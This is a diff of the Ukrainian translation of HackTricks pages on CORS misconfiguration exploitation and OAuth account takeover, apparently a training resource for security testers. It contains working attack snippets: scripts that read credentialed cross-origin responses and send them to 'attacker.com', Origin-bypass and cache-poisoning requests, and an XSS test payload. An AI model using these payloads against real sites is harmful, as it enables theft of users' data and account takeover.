* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
@ -23,30 +23,30 @@
Стандарт Cross-Origin Resource Sharing (CORS) **дозволяє серверам визначати, хто може отримати доступ до їхніх ресурсів** та **які методи HTTP запитів дозволені** з зовнішніх джерел.
Політика **одного походження** вимагає, щоб **сервер, що запитує** ресурс, і сервер, що хостить **ресурс**, використовували один і той же протокол (наприклад, `http://`), доменне ім'я (наприклад, `internal-web.com`) та **порт** (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного домену та порту мають доступ до ресурсів.
Політика **одного походження** вимагає, щоб **сервер, що запитує** ресурс, і сервер, що хостить **ресурс**, використовували один і той же протокол (наприклад, `http://`), доменне ім'я (наприклад, `internal-web.com`) та **порт** (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного й того ж домену та порту мають доступ до ресурсів.
Застосування політики одного походження в контексті `http://normal-website.com/example/example.html` ілюструється наступним чином:
| URL, до якого звертаються | Доступ дозволено? |
| ----------------------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Так: Ідентична схема, домен та порт |
| `http://normal-website.com/example2/` | Так: Ідентична схема, домен та порт |
| `https://normal-website.com/example/` | Ні: Різна схема та порт |
| `http://en.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://www.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://normal-website.com:8080/example/` | Ні: Різний порт\* |
| URL, до якого звертаються | Доступ дозволено? |
| ---------------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Так: Ідентична схема, домен і порт |
| `http://normal-website.com/example2/` | Так: Ідентична схема, домен і порт |
| `https://normal-website.com/example/` | Ні: Різна схема і порт |
| `http://en.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://www.normal-website.com/example/` | Ні: Різне доменне ім'я |
| `http://normal-website.com:8080/example/` | Ні: Різний порт\* |
\*Internet Explorer ігнорує номер порту при застосуванні політики одного походження, що дозволяє цей доступ.
### Заголовок `Access-Control-Allow-Origin`
Цей заголовок може дозволяти **декілька походжень**, значення **`null`** або підстановочний знак **`*`**. Однак **жоден браузер не підтримує декілька походжень**, а використання підстановочного знака `*` підлягає **обмеженням**. (Підстановковий знак повинен використовуватися окремо, і його використання разом з `Access-Control-Allow-Credentials: true` не дозволено.)
Цей заголовок може дозволяти **декілька походжень**, значення **`null`** або підстановочний знак **`*`**. Однак, **жоден браузер не підтримує декілька походжень**, а використання підстановочного знака `*` підлягає **обмеженням**. (Підстановковий знак повинен використовуватися самостійно, а його використання разом з `Access-Control-Allow-Credentials: true` не дозволяється.)
Цей заголовок **видається сервером** у відповідь на запит ресурсу з іншого домену, ініційований веб-сайтом, при цьому браузер автоматично додає заголовок `Origin`.
### Заголовок `Access-Control-Allow-Credentials`
За **замовчуванням** запити з іншого походження здійснюються без облікових даних, таких як куки або заголовок авторизації. Проте сервер з іншого домену може дозволити читання відповіді, коли облікові дані надсилаються, встановивши заголовок `Access-Control-Allow-Credentials` на **`true`**.
За **замовчуванням**, запити з іншого походження здійснюються без облікових даних, таких як куки або заголовок авторизації. Проте, сервер з іншого домену може дозволити читання відповіді, коли облікові дані надсилаються, встановивши заголовок `Access-Control-Allow-Credentials` на **`true`**.
Якщо встановлено на `true`, браузер передаватиме облікові дані (куки, заголовки авторизації або сертифікати клієнта TLS).
```javascript
@ -79,7 +79,7 @@ xhr.send('<person><name>Arun</name></person>');
### Understanding Pre-flight Requests in Cross-Domain Communication
Коли ініціюється запит між доменами за певних умов, таких як використання **нестандартного HTTP-методу** (будь-якого, окрім HEAD, GET, POST), введення нових **заголовків** або використання спеціального **значення заголовка Content-Type**, може знадобитися попередній запит. Цей попередній запит, що використовує метод **`OPTIONS`**, служить для інформування сервера про наміри майбутнього запиту з іншого походження, включаючи HTTP-методи та заголовки, які він має намір використовувати.
Коли ініціюється запит між доменами за певних умов, таких як використання **нестандартного HTTP методу** (будь-якого, окрім HEAD, GET, POST), введення нових **заголовків** або використання спеціального **значення заголовка Content-Type**, може знадобитися попередній запит. Цей попередній запит, що використовує метод **`OPTIONS`**, служить для інформування сервера про наміри майбутнього запиту з іншого походження, включаючи HTTP методи та заголовки, які він має намір використовувати.
Протокол **Cross-Origin Resource Sharing (CORS)** вимагає цього попереднього перевірки, щоб визначити можливість запитуваної операції з іншого походження, перевіряючи дозволені методи, заголовки та надійність походження. Для детального розуміння умов, які обходять необхідність попереднього запиту, зверніться до всебічного посібника, наданого [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
@ -116,10 +116,10 @@ Access-Control-Max-Age: 240
### **Запити локальної мережі Попередній запит**
1. **`Access-Control-Request-Local-Network`**: Цей заголовок включається в запит клієнта, щоб вказати, що запит спрямований на ресурс локальної мережі. Він слугує маркером, щоб проінформувати сервер про те, що запит походить з локальної мережі.
1. **`Access-Control-Request-Local-Network`**: Цей заголовок включається в запит клієнта, щоб вказати, що запит спрямований на ресурс локальної мережі. Він слугує маркером, щоб проінформувати сервер, що запит походить з локальної мережі.
2. **`Access-Control-Allow-Local-Network`**: У відповідь сервери використовують цей заголовок, щоб повідомити, що запитуваний ресурс дозволено ділитися з суб'єктами за межами локальної мережі. Він діє як зелена лампочка для обміну ресурсами через різні мережеві межі, забезпечуючи контрольований доступ при дотриманні протоколів безпеки.
**Дійсна відповідь, що дозволяє запит локальної мережі**, також повинна містити в відповіді заголовок `Access-Controls-Allow-Local_network: true`:
**Дійсна відповідь, що дозволяє запит локальної мережі**, повинна також містити в відповіді заголовок `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
@ -136,9 +136,18 @@ Content-Length: 0
Також можливо **обійти вимоги локальної мережі**, якщо ви використовуєте **публічну IP-адресу локальної точки доступу** (наприклад, публічну IP-адресу маршрутизатора). Оскільки в кількох випадках, навіть якщо **публічна IP** доступна, якщо це **з локальної мережі**, доступ буде надано.
{% endhint %}
### Wildcards
Зверніть увагу, що навіть якщо наступна конфігурація може виглядати надзвичайно дозволяючою:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Це не дозволено браузерами, і тому облікові дані не будуть надіслані з запитом, дозволеним цим.
## Вразливі неправильні налаштування
Спостерігалося, що налаштування `Access-Control-Allow-Credentials` на **`true`** є передумовою для більшості **реальних атак**. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага від того, що браузер робить запит, а не ви самі, зменшується, оскільки використання куків користувача стає неможливим.
Було помічено, що налаштування `Access-Control-Allow-Credentials` на **`true`** є передумовою для більшості **реальних атак**. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага від того, що браузер робить запит, замість того, щоб робити це самому, зменшується, оскільки використання куків користувача стає неможливим.
### Виняток: Використання мережевої локації як аутентифікації
@ -146,7 +155,7 @@ Content-Length: 0
### Відображення `Origin` в `Access-Control-Allow-Origin`
Сценарій з реального життя, де значення заголовка `Origin` відображається в `Access-Control-Allow-Origin`, теоретично малоймовірний через обмеження на поєднання цих заголовків. Однак розробники, які прагнуть активувати CORS для кількох URL-адрес, можуть динамічно генерувати заголовок `Access-Control-Allow-Origin`, копіюючи значення заголовка `Origin`. Цей підхід може ввести вразливості, особливо коли зловмисник використовує домен з назвою, що виглядає легітимно, тим самим обманюючи логіку валідації.
Сценарій у реальному світі, де значення заголовка `Origin` відображається в `Access-Control-Allow-Origin`, теоретично малоймовірний через обмеження на поєднання цих заголовків. Однак розробники, які прагнуть увімкнути CORS для кількох URL, можуть динамічно генерувати заголовок `Access-Control-Allow-Origin`, копіюючи значення заголовка `Origin`. Цей підхід може ввести вразливості, особливо коли зловмисник використовує домен з назвою, що виглядає легітимно, обманюючи логіку валідації.
```html
<script>
var req = new XMLHttpRequest();
@ -161,7 +170,7 @@ location='/log?key='+this.responseText;
```
### Використання `null` походження
`null` походження, вказане для ситуацій, таких як редиректи або локальні HTML файли, займає унікальну позицію. Деякі програми включають це походження в білий список, щоб полегшити локальну розробку, ненавмисно дозволяючи будь-якому веб-сайту імітувати `null` походження через пісочницю iframe, таким чином обходячи обмеження CORS.
`null` походження, вказане для ситуацій, таких як перенаправлення або локальні HTML файли, займає унікальну позицію. Деякі програми включають це походження в білий список для полегшення локальної розробки, ненавмисно дозволяючи будь-якому веб-сайту імітувати `null` походження через пісочницю iframe, таким чином обходячи обмеження CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -189,19 +198,19 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Техніки обходу регулярних виразів
Коли ви стикаєтеся з білим списком доменів, важливо перевірити можливості обходу, такі як додавання домену атакуючого до домену з білого списку або використання вразливостей захоплення піддоменів. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть не враховувати нюанси в назвах доменів, що створює додаткові можливості для обходу.
Коли ви стикаєтеся з білим списком доменів, важливо перевірити можливості обходу, такі як додавання домену зловмисника до домену з білого списку або використання вразливостей захоплення піддоменів. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть не враховувати нюанси в назвах доменів, що створює додаткові можливості для обходу.
### Розширені обходи регулярних виразів
Шаблони Regex зазвичай зосереджуються на алфавітно-цифрових, крапкових (.) та дефісних (-) символах, ігноруючи інші можливості. Наприклад, доменне ім'я, створене з використанням символів, які браузери та шаблони regex інтерпретують по-різному, може обійти перевірки безпеки. Обробка символів підкреслення в піддоменах браузерами Safari, Chrome та Firefox ілюструє, як такі розбіжності можуть бути використані для обходу логіки валідації доменів.
**Для отримання додаткової інформації та налаштувань цього перевірки обходу:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **та** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
**Для отримання додаткової інформації та налаштувань цього обходу:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **та** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)
### З XSS всередині піддомену
Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS, створюючи білий список доменів, яким дозволено запитувати інформацію. Незважаючи на ці запобіжні заходи, безпека системи не є бездоганною. Наявність навіть одного вразливого піддомену в межах доменів з білого списку може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтовий скриптинг).
Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS, створюючи білий список доменів, яким дозволено запитувати інформацію. Незважаючи на ці запобіжні заходи, безпека системи не є бездоганною. Наявність навіть одного вразливого піддомену в межах доменів з білого списку може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтове скриптування).
Щоб проілюструвати, розгляньте сценарій, коли домен `requester.com` внесено до білого списку для доступу до ресурсів з іншого домену, `provider.com`. Конфігурація на стороні сервера може виглядати приблизно так:
```javascript
@ -211,13 +220,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
У цьому налаштуванні всі піддомени `requester.com` мають доступ. Однак, якщо піддомен, скажімо, `sub.requester.com`, скомпрометований через вразливість XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до `sub.requester.com` може експлуатувати вразливість XSS, щоб обійти політики CORS і зловмисно отримати доступ до ресурсів на `provider.com`.
У цьому налаштуванні всі піддомени `requester.com` мають доступ. Однак, якщо піддомен, скажімо, `sub.requester.com`, скомпрометований через вразливість XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до `sub.requester.com` може використати вразливість XSS, щоб обійти політики CORS і зловмисно отримати доступ до ресурсів на `provider.com`.
### **Спеціальні символи**
Підсумкова таблиця обходу [перевірки URL](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) від PortSwigger виявила, що деякі браузери підтримують дивні символи в доменних іменах.
Chrome і Firefox підтримують підкреслення `_`, які можуть обійти регулярні вирази, реалізовані для перевірки заголовка `Origin`:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari ще більш поблажливий до прийняття спеціальних символів у доменному імені:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Отруєння кешу на стороні сервера**
[**З цього дослідження**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Існує ймовірність, що шляхом експлуатації отруєння кешу на стороні сервера через ін'єкцію HTTP заголовків можна викликати збережену вразливість Cross-Site Scripting (XSS). Цей сценарій розгортається, коли додаток не очищає заголовок `Origin` від незаконних символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери трактують (0x0d) як законний термінатор HTTP заголовка, що призводить до вразливостей ін'єкції HTTP заголовків.
Існує можливість, що шляхом експлуатації отруєння кешу на стороні сервера через ін'єкцію HTTP заголовків можна викликати збережену вразливість Cross-Site Scripting (XSS). Цей сценарій розгортається, коли додаток не очищає заголовок `Origin` від незаконних символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери трактують (0x0d) як законний термінатор HTTP заголовка, що призводить до вразливостей ін'єкції HTTP заголовків.
Розгляньте наступний запит, де маніпулюється заголовок `Origin`:
```
@ -230,23 +268,23 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Хоча безпосереднє використання цієї вразливості шляхом відправлення неправильно сформованого заголовка веб-браузером є недоцільним, спеціально підготовлений запит можна вручну згенерувати за допомогою інструментів, таких як Burp Suite. Цей метод може призвести до того, що кеш на стороні сервера зберігатиме відповідь і ненавмисно надаватиме її іншим. Спеціально підготовлений вантаж має на меті змінити набір символів сторінки на UTF-7, кодування символів, яке часто асоціюється з вразливостями XSS через його здатність кодувати символи таким чином, що їх можна виконати як скрипт у певних контекстах.
While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.
Для подальшого читання про збережені вразливості XSS дивіться [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
Для подальшого читання про збережені вразливості XSS, дивіться [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Примітка**: Використання вразливостей ін'єкції HTTP-заголовків, зокрема через отруєння кешу на стороні сервера, підкреслює критичну важливість перевірки та очищення всіх введених користувачем даних, включаючи HTTP-заголовки. Завжди використовуйте надійну модель безпеки, яка включає перевірку введених даних, щоб запобігти таким вразливостям.
**Примітка**: Експлуатація вразливостей ін'єкції HTTP заголовків, зокрема через отруєння кешу на стороні сервера, підкреслює критичну важливість валідації та очищення всіх введених користувачем даних, включаючи HTTP заголовки. Завжди використовуйте надійну модель безпеки, яка включає валідацію введених даних, щоб запобігти таким вразливостям.
### **Отруєння кешу на стороні клієнта**
[**З цього дослідження**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
У цьому сценарії спостерігається екземпляр веб-сторінки, що відображає вміст спеціального HTTP-заголовка без належного кодування. Зокрема, веб-сторінка відображає вміст, включений у заголовок `X-User-id`, який може містити шкідливий JavaScript, як показано в прикладі, де заголовок містить тег SVG-изображення, призначений для виконання JavaScript-коду при завантаженні.
In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати спеціальні заголовки. Однак, якщо відповідь не відображається безпосередньо браузером через обмеження CORS, корисність такої ін'єкції може здаватися обмеженою. Критичний момент виникає при розгляді поведінки кешу браузера. Якщо заголовок `Vary: Origin` не вказано, стає можливим, щоб шкідлива відповідь була кешована браузером. В подальшому ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи необхідність безпосереднього відображення під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи кешування на стороні клієнта.
Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати користувацькі заголовки. Однак, якщо відповідь не відображається безпосередньо браузером через обмеження CORS, корисність такої ін'єкції може здаватися обмеженою. Критичний момент виникає, коли розглядається поведінка кешу браузера. Якщо заголовок `Vary: Origin` не вказано, стає можливим, щоб шкідлива відповідь була кешована браузером. В подальшому, ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи необхідність прямого відображення під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи кешування на стороні клієнта.
Щоб проілюструвати цю атаку, наводиться приклад JavaScript, призначений для виконання в середовищі веб-сторінки, наприклад, через JSFiddle. Цей скрипт виконує просту дію: він надсилає запит до вказаного URL з спеціальним заголовком, що містить шкідливий JavaScript. Після успішного завершення запиту він намагається перейти до цільового URL, потенційно викликаючи виконання ін'єкованого скрипту, якщо відповідь була кешована без належної обробки заголовка `Vary: Origin`.
To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
Ось короткий огляд JavaScript, використаного для виконання цієї атаки:
Here's a summarized breakdown of the JavaScript used to execute this attack:
```html
<script>
function gotcha() { location=url }
@ -266,7 +304,7 @@ XSSI, також відомий як Cross-Site Script Inclusion, є типом
Ця вразливість стає особливо значущою, коли йдеться про динамічний JavaScript або JSONP (JSON з Padding), особливо коли для аутентифікації використовуються дані про навколишнє середовище, такі як куки. При запиті ресурсу з іншого хоста куки включаються, що робить їх доступними для зловмисника.
Щоб краще зрозуміти і пом'якшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках.
Щоб краще зрозуміти і зменшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках.
[**Читати більше про різні типи XSSI та як їх експлуатувати тут.**](xssi-cross-site-script-inclusion.md)
@ -283,13 +321,13 @@ XSSI, також відомий як Cross-Site Script Inclusion, є типом
### Iframe + Popup Bypass
Ви можете **обійти перевірки CORS**, такі як `e.origin === window.origin`, створивши **iframe** і **з нього відкриваючи нове вікно**. Більше інформації на наступній сторінці:
Ви можете **обійти перевірки CORS**, такі як `e.origin === window.origin`, **створивши iframe** і **з нього відкриваючи нове вікно**. Більше інформації на наступній сторінці:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### DNS Rebinding через TTL
### DNS Rebinding via TTL
DNS rebinding через TTL - це техніка, яка використовується для обходу певних заходів безпеки шляхом маніпулювання DNS-записами. Ось як це працює:
@ -309,17 +347,17 @@ DNS rebinding може бути корисним для обходу явних
Ви також можете дослідити публічно працюючий сервер за адресою [http://rebind.it/singularity.html](http://rebind.it/singularity.html) для подальшого розуміння та експериментів.
### DNS Rebinding через **DNS Cache Flooding**
### DNS Rebinding via **DNS Cache Flooding**
DNS rebinding через DNS cache flooding - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення другого DNS-запиту. Ось як це працює:
DNS rebinding через затоплення кешу DNS - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення другого DNS-запиту. Ось як це працює:
1. Спочатку, коли жертва робить DNS-запит, на нього відповідає IP-адреса зловмисника.
2. Щоб обійти захист кешування, зловмисник використовує сервісний робітник. Сервісний робітник заповнює кеш DNS, що ефективно видаляє кешоване ім'я сервера зловмисника.
3. Коли браузер жертви робить другий DNS-запит, на нього тепер відповідає IP-адреса 127.0.0.1, яка зазвичай посилається на localhost.
2. Щоб обійти захист кешування, зловмисник використовує сервісний робітник. Сервісний робітник затоплює кеш DNS, що ефективно видаляє кешоване ім'я сервера зловмисника.
3. Коли браузер жертви робить другий DNS-запит, на нього тепер відповідає IP-адреса 127.0.0.1, яка зазвичай відноситься до localhost.
Заповнюючи кеш DNS за допомогою сервісного робітника, зловмисник може маніпулювати процесом розв'язання DNS і примусити браузер жертви зробити другий запит, цього разу розв'язуючи на бажану IP-адресу зловмисника.
Затоплюючи кеш DNS за допомогою сервісного робітника, зловмисник може маніпулювати процесом розв'язання DNS і примусити браузер жертви зробити другий запит, цього разу розв'язуючи на бажану IP-адресу зловмисника.
### DNS Rebinding через **Cache**
### DNS Rebinding via **Cache**
Ще один спосіб обійти захист кешування - це використання кількох IP-адрес для одного й того ж субдомену у постачальника DNS. Ось як це працює:
@ -351,7 +389,7 @@ DNS rebinding через DNS cache flooding - це ще одна техніка,
Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді [Gerald Doussot - Стан атак DNS Rebinding & Унікальність походження - конференція DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Унікальність походження`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) атак. Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
[**`Унікальність походження`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [атак DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.
### Реальний захист від DNS Rebinding
@ -362,7 +400,7 @@ DNS rebinding через DNS cache flooding - це ще одна техніка,
## **Інструменти**
**Перевірте можливі неправильні налаштування в політиках CORS**
**Fuzz можливі неправильні налаштування в політиках CORS**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -388,16 +426,16 @@ DNS rebinding через DNS cache flooding - це ще одна техніка,
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
<summary>Support HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# OAuth до захоплення облікового запису
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -35,8 +35,8 @@ OAuth пропонує різні версії, з основними відом
* **client\_secret:** Конфіденційний ключ, відомий лише додатку та серверу авторизації, що використовується для генерації `access_tokens`.
* **response\_type**: Значення, що вказує **тип запитуваного токена**, наприклад, `code`.
* **scope**: **рівень доступу**, який `клієнтський додаток` запитує у `власника ресурсу`.
* **redirect\_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай має відповідати попередньо зареєстрованому URL перенаправлення.
* **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для служби як **механізм захисту від CSRF**.
* **redirect\_uri**: **URL, на який користувач перенаправляється після авторизації**. Це зазвичай повинно відповідати попередньо зареєстрованому URL перенаправлення.
* **state**: Параметр для **збереження даних під час перенаправлення користувача до та з сервера авторизації**. Його унікальність є критично важливою для виконання **механізму захисту від CSRF**.
* **grant\_type**: Параметр, що вказує **тип надання та тип токена, що повертається**.
* **code**: Авторизаційний код з `сервера авторизації`, що використовується разом з `client_id` та `client_secret` клієнтським додатком для отримання `access_token`.
* **access\_token**: **токен, який клієнтський додаток використовує для API запитів** від імені `власника ресурсу`.
@ -83,7 +83,7 @@ Host: socialmedia.com
### XSS в реалізації редиректу <a href="#bda5" id="bda5"></a>
Як згадано в цьому звіті про баги [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), можливо, що **URL редиректу відображається у відповіді** сервера після аутентифікації користувача, будучи **вразливим до XSS**. Можливий корисний вантаж для тестування:
Як згадано в цьому звіті про баг-баунті [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), можливо, що **URL редиректу відображається у відповіді** сервера після аутентифікації користувача, будучи **вразливим до XSS**. Можливий корисний вантаж для тестування:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -106,11 +106,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
Визначення та захист секретних параметрів OAuth є критично важливими. Хоча **`client_id`** можна безпечно розкривати, розкриття **`client_secret`** несе значні ризики. Якщо `client_secret` буде скомпрометовано, зловмисники можуть скористатися ідентичністю та довірою додатка, щоб **вкрасти `access_tokens`** користувачів та приватну інформацію.
Загальна вразливість виникає, коли додатки помилково обробляють обмін авторизаційного `code` на `access_token` на стороні клієнта, а не на стороні сервера. Ця помилка призводить до розкриття `client_secret`, що дозволяє зловмисникам генерувати `access_tokens` під виглядом додатка. Більше того, через соціальну інженерію зловмисники можуть підвищити привілеї, додаючи додаткові області до авторизації OAuth, ще більше експлуатуючи довірений статус додатка.
